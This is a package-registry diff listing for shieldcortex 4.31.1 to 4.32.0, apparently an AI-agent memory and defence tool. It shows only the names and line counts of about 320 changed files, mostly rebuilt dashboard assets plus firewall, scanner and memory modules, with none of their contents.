shieldcortex 4.31.1 → 4.32.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (346) hide show
  1. package/README.md +78 -2
  2. package/dashboard/.next/standalone/dashboard/.next/BUILD_ID +1 -1
  3. package/dashboard/.next/standalone/dashboard/.next/build-manifest.json +2 -2
  4. package/dashboard/.next/standalone/dashboard/.next/prerender-manifest.json +3 -3
  5. package/dashboard/.next/standalone/dashboard/.next/server/app/_global-error.html +2 -2
  6. package/dashboard/.next/standalone/dashboard/.next/server/app/_global-error.rsc +1 -1
  7. package/dashboard/.next/standalone/dashboard/.next/server/app/_global-error.segments/__PAGE__.segment.rsc +1 -1
  8. package/dashboard/.next/standalone/dashboard/.next/server/app/_global-error.segments/_full.segment.rsc +1 -1
  9. package/dashboard/.next/standalone/dashboard/.next/server/app/_global-error.segments/_head.segment.rsc +1 -1
  10. package/dashboard/.next/standalone/dashboard/.next/server/app/_global-error.segments/_index.segment.rsc +1 -1
  11. package/dashboard/.next/standalone/dashboard/.next/server/app/_global-error.segments/_tree.segment.rsc +1 -1
  12. package/dashboard/.next/standalone/dashboard/.next/server/app/_not-found.html +2 -2
  13. package/dashboard/.next/standalone/dashboard/.next/server/app/_not-found.rsc +1 -1
  14. package/dashboard/.next/standalone/dashboard/.next/server/app/_not-found.segments/_full.segment.rsc +1 -1
  15. package/dashboard/.next/standalone/dashboard/.next/server/app/_not-found.segments/_head.segment.rsc +1 -1
  16. package/dashboard/.next/standalone/dashboard/.next/server/app/_not-found.segments/_index.segment.rsc +1 -1
  17. package/dashboard/.next/standalone/dashboard/.next/server/app/_not-found.segments/_not-found/__PAGE__.segment.rsc +1 -1
  18. package/dashboard/.next/standalone/dashboard/.next/server/app/_not-found.segments/_not-found.segment.rsc +1 -1
  19. package/dashboard/.next/standalone/dashboard/.next/server/app/_not-found.segments/_tree.segment.rsc +1 -1
  20. package/dashboard/.next/standalone/dashboard/.next/server/app/admin.html +1 -1
  21. package/dashboard/.next/standalone/dashboard/.next/server/app/admin.rsc +1 -1
  22. package/dashboard/.next/standalone/dashboard/.next/server/app/admin.segments/!KGRhc2hib2FyZCk/admin/__PAGE__.segment.rsc +1 -1
  23. package/dashboard/.next/standalone/dashboard/.next/server/app/admin.segments/!KGRhc2hib2FyZCk/admin.segment.rsc +1 -1
  24. package/dashboard/.next/standalone/dashboard/.next/server/app/admin.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
  25. package/dashboard/.next/standalone/dashboard/.next/server/app/admin.segments/_full.segment.rsc +1 -1
  26. package/dashboard/.next/standalone/dashboard/.next/server/app/admin.segments/_head.segment.rsc +1 -1
  27. package/dashboard/.next/standalone/dashboard/.next/server/app/admin.segments/_index.segment.rsc +1 -1
  28. package/dashboard/.next/standalone/dashboard/.next/server/app/admin.segments/_tree.segment.rsc +1 -1
  29. package/dashboard/.next/standalone/dashboard/.next/server/app/cloud.html +1 -1
  30. package/dashboard/.next/standalone/dashboard/.next/server/app/cloud.rsc +1 -1
  31. package/dashboard/.next/standalone/dashboard/.next/server/app/cloud.segments/!KGRhc2hib2FyZCk/cloud/__PAGE__.segment.rsc +1 -1
  32. package/dashboard/.next/standalone/dashboard/.next/server/app/cloud.segments/!KGRhc2hib2FyZCk/cloud.segment.rsc +1 -1
  33. package/dashboard/.next/standalone/dashboard/.next/server/app/cloud.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
  34. package/dashboard/.next/standalone/dashboard/.next/server/app/cloud.segments/_full.segment.rsc +1 -1
  35. package/dashboard/.next/standalone/dashboard/.next/server/app/cloud.segments/_head.segment.rsc +1 -1
  36. package/dashboard/.next/standalone/dashboard/.next/server/app/cloud.segments/_index.segment.rsc +1 -1
  37. package/dashboard/.next/standalone/dashboard/.next/server/app/cloud.segments/_tree.segment.rsc +1 -1
  38. package/dashboard/.next/standalone/dashboard/.next/server/app/index.html +1 -1
  39. package/dashboard/.next/standalone/dashboard/.next/server/app/index.rsc +1 -1
  40. package/dashboard/.next/standalone/dashboard/.next/server/app/index.segments/__PAGE__.segment.rsc +1 -1
  41. package/dashboard/.next/standalone/dashboard/.next/server/app/index.segments/_full.segment.rsc +1 -1
  42. package/dashboard/.next/standalone/dashboard/.next/server/app/index.segments/_head.segment.rsc +1 -1
  43. package/dashboard/.next/standalone/dashboard/.next/server/app/index.segments/_index.segment.rsc +1 -1
  44. package/dashboard/.next/standalone/dashboard/.next/server/app/index.segments/_tree.segment.rsc +1 -1
  45. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/capture.html +1 -1
  46. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/capture.rsc +1 -1
  47. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/capture.segments/!KGRhc2hib2FyZCk/memory/capture/__PAGE__.segment.rsc +1 -1
  48. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/capture.segments/!KGRhc2hib2FyZCk/memory/capture.segment.rsc +1 -1
  49. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/capture.segments/!KGRhc2hib2FyZCk/memory.segment.rsc +1 -1
  50. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/capture.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
  51. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/capture.segments/_full.segment.rsc +1 -1
  52. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/capture.segments/_head.segment.rsc +1 -1
  53. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/capture.segments/_index.segment.rsc +1 -1
  54. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/capture.segments/_tree.segment.rsc +1 -1
  55. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/graph.html +1 -1
  56. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/graph.rsc +1 -1
  57. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/graph.segments/!KGRhc2hib2FyZCk/memory/graph/__PAGE__.segment.rsc +1 -1
  58. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/graph.segments/!KGRhc2hib2FyZCk/memory/graph.segment.rsc +1 -1
  59. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/graph.segments/!KGRhc2hib2FyZCk/memory.segment.rsc +1 -1
  60. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/graph.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
  61. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/graph.segments/_full.segment.rsc +1 -1
  62. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/graph.segments/_head.segment.rsc +1 -1
  63. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/graph.segments/_index.segment.rsc +1 -1
  64. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/graph.segments/_tree.segment.rsc +1 -1
  65. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/recall.html +1 -1
  66. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/recall.rsc +1 -1
  67. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/recall.segments/!KGRhc2hib2FyZCk/memory/recall/__PAGE__.segment.rsc +1 -1
  68. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/recall.segments/!KGRhc2hib2FyZCk/memory/recall.segment.rsc +1 -1
  69. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/recall.segments/!KGRhc2hib2FyZCk/memory.segment.rsc +1 -1
  70. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/recall.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
  71. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/recall.segments/_full.segment.rsc +1 -1
  72. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/recall.segments/_head.segment.rsc +1 -1
  73. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/recall.segments/_index.segment.rsc +1 -1
  74. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/recall.segments/_tree.segment.rsc +1 -1
  75. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/replay.html +2 -2
  76. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/replay.rsc +1 -1
  77. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/replay.segments/!KGRhc2hib2FyZCk/memory/replay/__PAGE__.segment.rsc +1 -1
  78. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/replay.segments/!KGRhc2hib2FyZCk/memory/replay.segment.rsc +1 -1
  79. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/replay.segments/!KGRhc2hib2FyZCk/memory.segment.rsc +1 -1
  80. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/replay.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
  81. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/replay.segments/_full.segment.rsc +1 -1
  82. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/replay.segments/_head.segment.rsc +1 -1
  83. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/replay.segments/_index.segment.rsc +1 -1
  84. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/replay.segments/_tree.segment.rsc +1 -1
  85. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/review.html +1 -1
  86. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/review.rsc +1 -1
  87. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/review.segments/!KGRhc2hib2FyZCk/memory/review/__PAGE__.segment.rsc +1 -1
  88. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/review.segments/!KGRhc2hib2FyZCk/memory/review.segment.rsc +1 -1
  89. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/review.segments/!KGRhc2hib2FyZCk/memory.segment.rsc +1 -1
  90. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/review.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
  91. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/review.segments/_full.segment.rsc +1 -1
  92. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/review.segments/_head.segment.rsc +1 -1
  93. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/review.segments/_index.segment.rsc +1 -1
  94. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/review.segments/_tree.segment.rsc +1 -1
  95. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/timeline.html +1 -1
  96. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/timeline.rsc +1 -1
  97. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/timeline.segments/!KGRhc2hib2FyZCk/memory/timeline/__PAGE__.segment.rsc +1 -1
  98. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/timeline.segments/!KGRhc2hib2FyZCk/memory/timeline.segment.rsc +1 -1
  99. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/timeline.segments/!KGRhc2hib2FyZCk/memory.segment.rsc +1 -1
  100. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/timeline.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
  101. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/timeline.segments/_full.segment.rsc +1 -1
  102. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/timeline.segments/_head.segment.rsc +1 -1
  103. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/timeline.segments/_index.segment.rsc +1 -1
  104. package/dashboard/.next/standalone/dashboard/.next/server/app/memory/timeline.segments/_tree.segment.rsc +1 -1
  105. package/dashboard/.next/standalone/dashboard/.next/server/app/memory.html +2 -2
  106. package/dashboard/.next/standalone/dashboard/.next/server/app/memory.rsc +1 -1
  107. package/dashboard/.next/standalone/dashboard/.next/server/app/memory.segments/!KGRhc2hib2FyZCk/memory/__PAGE__.segment.rsc +1 -1
  108. package/dashboard/.next/standalone/dashboard/.next/server/app/memory.segments/!KGRhc2hib2FyZCk/memory.segment.rsc +1 -1
  109. package/dashboard/.next/standalone/dashboard/.next/server/app/memory.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
  110. package/dashboard/.next/standalone/dashboard/.next/server/app/memory.segments/_full.segment.rsc +1 -1
  111. package/dashboard/.next/standalone/dashboard/.next/server/app/memory.segments/_head.segment.rsc +1 -1
  112. package/dashboard/.next/standalone/dashboard/.next/server/app/memory.segments/_index.segment.rsc +1 -1
  113. package/dashboard/.next/standalone/dashboard/.next/server/app/memory.segments/_tree.segment.rsc +1 -1
  114. package/dashboard/.next/standalone/dashboard/.next/server/app/overview.html +2 -2
  115. package/dashboard/.next/standalone/dashboard/.next/server/app/overview.rsc +1 -1
  116. package/dashboard/.next/standalone/dashboard/.next/server/app/overview.segments/!KGRhc2hib2FyZCk/overview/__PAGE__.segment.rsc +1 -1
  117. package/dashboard/.next/standalone/dashboard/.next/server/app/overview.segments/!KGRhc2hib2FyZCk/overview.segment.rsc +1 -1
  118. package/dashboard/.next/standalone/dashboard/.next/server/app/overview.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
  119. package/dashboard/.next/standalone/dashboard/.next/server/app/overview.segments/_full.segment.rsc +1 -1
  120. package/dashboard/.next/standalone/dashboard/.next/server/app/overview.segments/_head.segment.rsc +1 -1
  121. package/dashboard/.next/standalone/dashboard/.next/server/app/overview.segments/_index.segment.rsc +1 -1
  122. package/dashboard/.next/standalone/dashboard/.next/server/app/overview.segments/_tree.segment.rsc +1 -1
  123. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/audit.html +1 -1
  124. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/audit.rsc +1 -1
  125. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/audit.segments/!KGRhc2hib2FyZCk/protection/audit/__PAGE__.segment.rsc +1 -1
  126. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/audit.segments/!KGRhc2hib2FyZCk/protection/audit.segment.rsc +1 -1
  127. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/audit.segments/!KGRhc2hib2FyZCk/protection.segment.rsc +1 -1
  128. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/audit.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
  129. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/audit.segments/_full.segment.rsc +1 -1
  130. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/audit.segments/_head.segment.rsc +1 -1
  131. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/audit.segments/_index.segment.rsc +1 -1
  132. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/audit.segments/_tree.segment.rsc +1 -1
  133. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/intercepts.html +1 -1
  134. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/intercepts.rsc +1 -1
  135. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/intercepts.segments/!KGRhc2hib2FyZCk/protection/intercepts/__PAGE__.segment.rsc +1 -1
  136. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/intercepts.segments/!KGRhc2hib2FyZCk/protection/intercepts.segment.rsc +1 -1
  137. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/intercepts.segments/!KGRhc2hib2FyZCk/protection.segment.rsc +1 -1
  138. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/intercepts.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
  139. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/intercepts.segments/_full.segment.rsc +1 -1
  140. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/intercepts.segments/_head.segment.rsc +1 -1
  141. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/intercepts.segments/_index.segment.rsc +1 -1
  142. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/intercepts.segments/_tree.segment.rsc +1 -1
  143. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/iron-dome.html +1 -1
  144. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/iron-dome.rsc +1 -1
  145. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/iron-dome.segments/!KGRhc2hib2FyZCk/protection/iron-dome/__PAGE__.segment.rsc +1 -1
  146. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/iron-dome.segments/!KGRhc2hib2FyZCk/protection/iron-dome.segment.rsc +1 -1
  147. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/iron-dome.segments/!KGRhc2hib2FyZCk/protection.segment.rsc +1 -1
  148. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/iron-dome.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
  149. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/iron-dome.segments/_full.segment.rsc +1 -1
  150. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/iron-dome.segments/_head.segment.rsc +1 -1
  151. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/iron-dome.segments/_index.segment.rsc +1 -1
  152. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/iron-dome.segments/_tree.segment.rsc +1 -1
  153. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/policies.html +1 -1
  154. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/policies.rsc +1 -1
  155. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/policies.segments/!KGRhc2hib2FyZCk/protection/policies/__PAGE__.segment.rsc +1 -1
  156. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/policies.segments/!KGRhc2hib2FyZCk/protection/policies.segment.rsc +1 -1
  157. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/policies.segments/!KGRhc2hib2FyZCk/protection.segment.rsc +1 -1
  158. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/policies.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
  159. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/policies.segments/_full.segment.rsc +1 -1
  160. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/policies.segments/_head.segment.rsc +1 -1
  161. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/policies.segments/_index.segment.rsc +1 -1
  162. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/policies.segments/_tree.segment.rsc +1 -1
  163. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/quarantine.html +1 -1
  164. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/quarantine.rsc +1 -1
  165. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/quarantine.segments/!KGRhc2hib2FyZCk/protection/quarantine/__PAGE__.segment.rsc +1 -1
  166. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/quarantine.segments/!KGRhc2hib2FyZCk/protection/quarantine.segment.rsc +1 -1
  167. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/quarantine.segments/!KGRhc2hib2FyZCk/protection.segment.rsc +1 -1
  168. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/quarantine.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
  169. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/quarantine.segments/_full.segment.rsc +1 -1
  170. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/quarantine.segments/_head.segment.rsc +1 -1
  171. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/quarantine.segments/_index.segment.rsc +1 -1
  172. package/dashboard/.next/standalone/dashboard/.next/server/app/protection/quarantine.segments/_tree.segment.rsc +1 -1
  173. package/dashboard/.next/standalone/dashboard/.next/server/app/protection.html +2 -2
  174. package/dashboard/.next/standalone/dashboard/.next/server/app/protection.rsc +1 -1
  175. package/dashboard/.next/standalone/dashboard/.next/server/app/protection.segments/!KGRhc2hib2FyZCk/protection/__PAGE__.segment.rsc +1 -1
  176. package/dashboard/.next/standalone/dashboard/.next/server/app/protection.segments/!KGRhc2hib2FyZCk/protection.segment.rsc +1 -1
  177. package/dashboard/.next/standalone/dashboard/.next/server/app/protection.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
  178. package/dashboard/.next/standalone/dashboard/.next/server/app/protection.segments/_full.segment.rsc +1 -1
  179. package/dashboard/.next/standalone/dashboard/.next/server/app/protection.segments/_head.segment.rsc +1 -1
  180. package/dashboard/.next/standalone/dashboard/.next/server/app/protection.segments/_index.segment.rsc +1 -1
  181. package/dashboard/.next/standalone/dashboard/.next/server/app/protection.segments/_tree.segment.rsc +1 -1
  182. package/dashboard/.next/standalone/dashboard/.next/server/app/settings.html +2 -2
  183. package/dashboard/.next/standalone/dashboard/.next/server/app/settings.rsc +1 -1
  184. package/dashboard/.next/standalone/dashboard/.next/server/app/settings.segments/!KGRhc2hib2FyZCk/settings/__PAGE__.segment.rsc +1 -1
  185. package/dashboard/.next/standalone/dashboard/.next/server/app/settings.segments/!KGRhc2hib2FyZCk/settings.segment.rsc +1 -1
  186. package/dashboard/.next/standalone/dashboard/.next/server/app/settings.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
  187. package/dashboard/.next/standalone/dashboard/.next/server/app/settings.segments/_full.segment.rsc +1 -1
  188. package/dashboard/.next/standalone/dashboard/.next/server/app/settings.segments/_head.segment.rsc +1 -1
  189. package/dashboard/.next/standalone/dashboard/.next/server/app/settings.segments/_index.segment.rsc +1 -1
  190. package/dashboard/.next/standalone/dashboard/.next/server/app/settings.segments/_tree.segment.rsc +1 -1
  191. package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain/xray.html +1 -1
  192. package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain/xray.rsc +1 -1
  193. package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain/xray.segments/!KGRhc2hib2FyZCk/supply-chain/xray/__PAGE__.segment.rsc +1 -1
  194. package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain/xray.segments/!KGRhc2hib2FyZCk/supply-chain/xray.segment.rsc +1 -1
  195. package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain/xray.segments/!KGRhc2hib2FyZCk/supply-chain.segment.rsc +1 -1
  196. package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain/xray.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
  197. package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain/xray.segments/_full.segment.rsc +1 -1
  198. package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain/xray.segments/_head.segment.rsc +1 -1
  199. package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain/xray.segments/_index.segment.rsc +1 -1
  200. package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain/xray.segments/_tree.segment.rsc +1 -1
  201. package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain.html +1 -1
  202. package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain.rsc +1 -1
  203. package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain.segments/!KGRhc2hib2FyZCk/supply-chain/__PAGE__.segment.rsc +1 -1
  204. package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain.segments/!KGRhc2hib2FyZCk/supply-chain.segment.rsc +1 -1
  205. package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
  206. package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain.segments/_full.segment.rsc +1 -1
  207. package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain.segments/_head.segment.rsc +1 -1
  208. package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain.segments/_index.segment.rsc +1 -1
  209. package/dashboard/.next/standalone/dashboard/.next/server/app/supply-chain.segments/_tree.segment.rsc +1 -1
  210. package/dashboard/.next/standalone/dashboard/.next/server/app/xray.html +2 -2
  211. package/dashboard/.next/standalone/dashboard/.next/server/app/xray.rsc +1 -1
  212. package/dashboard/.next/standalone/dashboard/.next/server/app/xray.segments/!KGRhc2hib2FyZCk/xray/__PAGE__.segment.rsc +1 -1
  213. package/dashboard/.next/standalone/dashboard/.next/server/app/xray.segments/!KGRhc2hib2FyZCk/xray.segment.rsc +1 -1
  214. package/dashboard/.next/standalone/dashboard/.next/server/app/xray.segments/!KGRhc2hib2FyZCk.segment.rsc +1 -1
  215. package/dashboard/.next/standalone/dashboard/.next/server/app/xray.segments/_full.segment.rsc +1 -1
  216. package/dashboard/.next/standalone/dashboard/.next/server/app/xray.segments/_head.segment.rsc +1 -1
  217. package/dashboard/.next/standalone/dashboard/.next/server/app/xray.segments/_index.segment.rsc +1 -1
  218. package/dashboard/.next/standalone/dashboard/.next/server/app/xray.segments/_tree.segment.rsc +1 -1
  219. package/dashboard/.next/standalone/dashboard/.next/server/pages/404.html +2 -2
  220. package/dashboard/.next/standalone/dashboard/.next/server/pages/500.html +2 -2
  221. package/dashboard/.next/standalone/dashboard/.next/server/server-reference-manifest.js +1 -1
  222. package/dashboard/.next/standalone/dashboard/.next/server/server-reference-manifest.json +1 -1
  223. package/dist/api/control.d.ts +2 -0
  224. package/dist/api/control.js +119 -2
  225. package/dist/api/routes/memories.js +19 -14
  226. package/dist/api/routes/system.js +2 -3
  227. package/dist/api/visualization-server.d.ts +13 -1
  228. package/dist/api/visualization-server.js +57 -1
  229. package/dist/audit/env-scanner.js +5 -2
  230. package/dist/audit/index.d.ts +4 -1
  231. package/dist/audit/index.js +2 -1
  232. package/dist/audit/mcp-config-scanner.d.ts +23 -0
  233. package/dist/audit/mcp-config-scanner.js +110 -0
  234. package/dist/audit/mcp-tools-scanner.d.ts +112 -0
  235. package/dist/audit/mcp-tools-scanner.js +299 -0
  236. package/dist/cli/audit.d.ts +1 -0
  237. package/dist/cli/audit.js +12 -1
  238. package/dist/cli/mcp.d.ts +13 -0
  239. package/dist/cli/mcp.js +0 -0
  240. package/dist/cli/remember.d.ts +75 -0
  241. package/dist/cli/remember.js +195 -0
  242. package/dist/cloud/config.d.ts +23 -1
  243. package/dist/cloud/config.js +453 -193
  244. package/dist/cloud/quarantine-sync.d.ts +12 -2
  245. package/dist/cloud/quarantine-sync.js +28 -6
  246. package/dist/cloud/sync-queue.d.ts +21 -2
  247. package/dist/cloud/sync-queue.js +124 -29
  248. package/dist/database/better-sqlite3-guard.d.ts +27 -2
  249. package/dist/database/better-sqlite3-guard.js +58 -5
  250. package/dist/database/init.js +85 -17
  251. package/dist/database/inline-schema.js +35 -1
  252. package/dist/database/migrations.js +104 -8
  253. package/dist/database/schema.sql +39 -1
  254. package/dist/defence/audit/queries.d.ts +10 -2
  255. package/dist/defence/audit/queries.js +30 -4
  256. package/dist/defence/audit/retention.d.ts +50 -0
  257. package/dist/defence/audit/retention.js +161 -0
  258. package/dist/defence/credential-leak/entropy.d.ts +11 -0
  259. package/dist/defence/credential-leak/entropy.js +27 -0
  260. package/dist/defence/credential-leak/index.js +27 -1
  261. package/dist/defence/credential-leak/patterns.d.ts +9 -0
  262. package/dist/defence/credential-leak/patterns.js +21 -0
  263. package/dist/defence/custom-patterns/store.js +8 -1
  264. package/dist/defence/custom-rules/store.d.ts +18 -0
  265. package/dist/defence/custom-rules/store.js +63 -0
  266. package/dist/defence/firewall/confusables.d.ts +30 -0
  267. package/dist/defence/firewall/confusables.js +87 -0
  268. package/dist/defence/firewall/encoding-detector.js +23 -9
  269. package/dist/defence/firewall/index.d.ts +11 -1
  270. package/dist/defence/firewall/index.js +34 -1
  271. package/dist/defence/firewall/instruction-detector.js +18 -7
  272. package/dist/defence/firewall/markdown-image-detector.d.ts +34 -0
  273. package/dist/defence/firewall/markdown-image-detector.js +83 -0
  274. package/dist/defence/fragmentation/entity-extractor.js +17 -6
  275. package/dist/defence/index.d.ts +5 -0
  276. package/dist/defence/index.js +8 -0
  277. package/dist/defence/iron-dome/index.js +7 -1
  278. package/dist/defence/pipeline.js +62 -10
  279. package/dist/defence/scan-windows.d.ts +41 -0
  280. package/dist/defence/scan-windows.js +61 -0
  281. package/dist/defence/semantic/attack-corpus.d.ts +22 -0
  282. package/dist/defence/semantic/attack-corpus.js +75 -0
  283. package/dist/defence/semantic/index.d.ts +67 -0
  284. package/dist/defence/semantic/index.js +138 -0
  285. package/dist/defence/skill-scanner/deep-scan.js +35 -15
  286. package/dist/defence/skill-scanner/patterns.d.ts +1 -1
  287. package/dist/defence/skill-scanner/patterns.js +8 -7
  288. package/dist/defence/tool-response-scanner.d.ts +21 -5
  289. package/dist/defence/tool-response-scanner.js +111 -22
  290. package/dist/defence/types.d.ts +11 -1
  291. package/dist/index.d.ts +29 -0
  292. package/dist/index.js +104 -20
  293. package/dist/memory/consolidate.js +1 -1
  294. package/dist/memory/decay.js +3 -1
  295. package/dist/memory/embedding.d.ts +18 -2
  296. package/dist/memory/embedding.js +32 -11
  297. package/dist/memory/expiry.js +1 -1
  298. package/dist/memory/search-recall.js +107 -49
  299. package/dist/memory/search.d.ts +19 -3
  300. package/dist/memory/search.js +25 -10
  301. package/dist/memory/store.d.ts +13 -2
  302. package/dist/memory/store.js +115 -11
  303. package/dist/scan-only.d.ts +64 -0
  304. package/dist/scan-only.js +173 -0
  305. package/dist/server.d.ts +5 -0
  306. package/dist/server.js +6 -4
  307. package/dist/setup/claude-md.js +39 -34
  308. package/dist/setup/codex.js +9 -2
  309. package/dist/setup/copilot.js +160 -47
  310. package/dist/setup/json-config.d.ts +99 -0
  311. package/dist/setup/json-config.js +167 -0
  312. package/dist/setup/migrate.js +1 -1
  313. package/dist/setup/settings-hooks.js +8 -13
  314. package/dist/setup/uninstall.js +1 -21
  315. package/dist/tools/context.d.ts +8 -8
  316. package/dist/tools/forget.d.ts +9 -8
  317. package/dist/tools/forget.js +17 -4
  318. package/dist/tools/recall.d.ts +13 -13
  319. package/dist/tools/remember.d.ts +16 -16
  320. package/dist/tools/remember.js +19 -8
  321. package/dist/worker/brain-worker.d.ts +1 -0
